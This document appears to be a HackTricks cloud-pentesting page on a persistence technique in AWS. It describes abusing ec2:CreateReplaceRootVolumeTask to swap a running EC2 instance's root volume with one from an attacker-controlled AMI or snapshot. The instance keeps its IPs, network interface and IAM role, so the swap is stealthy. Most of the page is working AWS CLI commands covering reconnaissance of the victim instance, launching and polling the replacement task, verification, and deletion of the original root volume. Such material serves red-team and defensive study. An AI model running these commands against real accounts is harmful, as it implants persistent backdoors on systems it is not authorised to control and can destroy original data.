# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)

{{#include ../../../../banners/hacktricks-training.md}}

Abuse **ec2:CreateReplaceRootVolumeTask** to swap the root EBS volume of a running instance with one restored from an attacker-controlled AMI or snapshot. The instance is rebooted automatically and resumes with the attacker-controlled root filesystem while preserving ENIs, private/public IPs, attached non-root volumes, and the instance metadata/IAM role.

## Requirements
- Target instance is EBS-backed and running in the same region.
- Compatible AMI or snapshot: same architecture/virtualization/boot mode (and product codes, if any) as the target instance.

## Pre-checks
```bash
REGION=us-east-1
INSTANCE_ID=<victim instance>

# Ensure EBS-backed
aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text

# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
```

## Replace root from AMI (preferred)
```bash
IMAGE_ID=<attacker-controlled compatible AMI>

# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)

# Poll until state == succeeded
while true; do
  STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
  echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done
```

Alternative using a snapshot:
```bash
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
```

## Evidence / Verification
```bash
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)

# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"

# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
```
Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot.

## Notes
- The API does not require you to manually stop the instance; EC2 orchestrates a reboot.
- By default, the replaced (old) root EBS volume is detached and left in the account (DeleteReplacedRootVolume=false). This can be used for rollback or must be deleted to avoid costs.

## Rollback / Cleanup
```bash
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP

# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
```

{{#include ../../../../banners/hacktricks-training.md}}
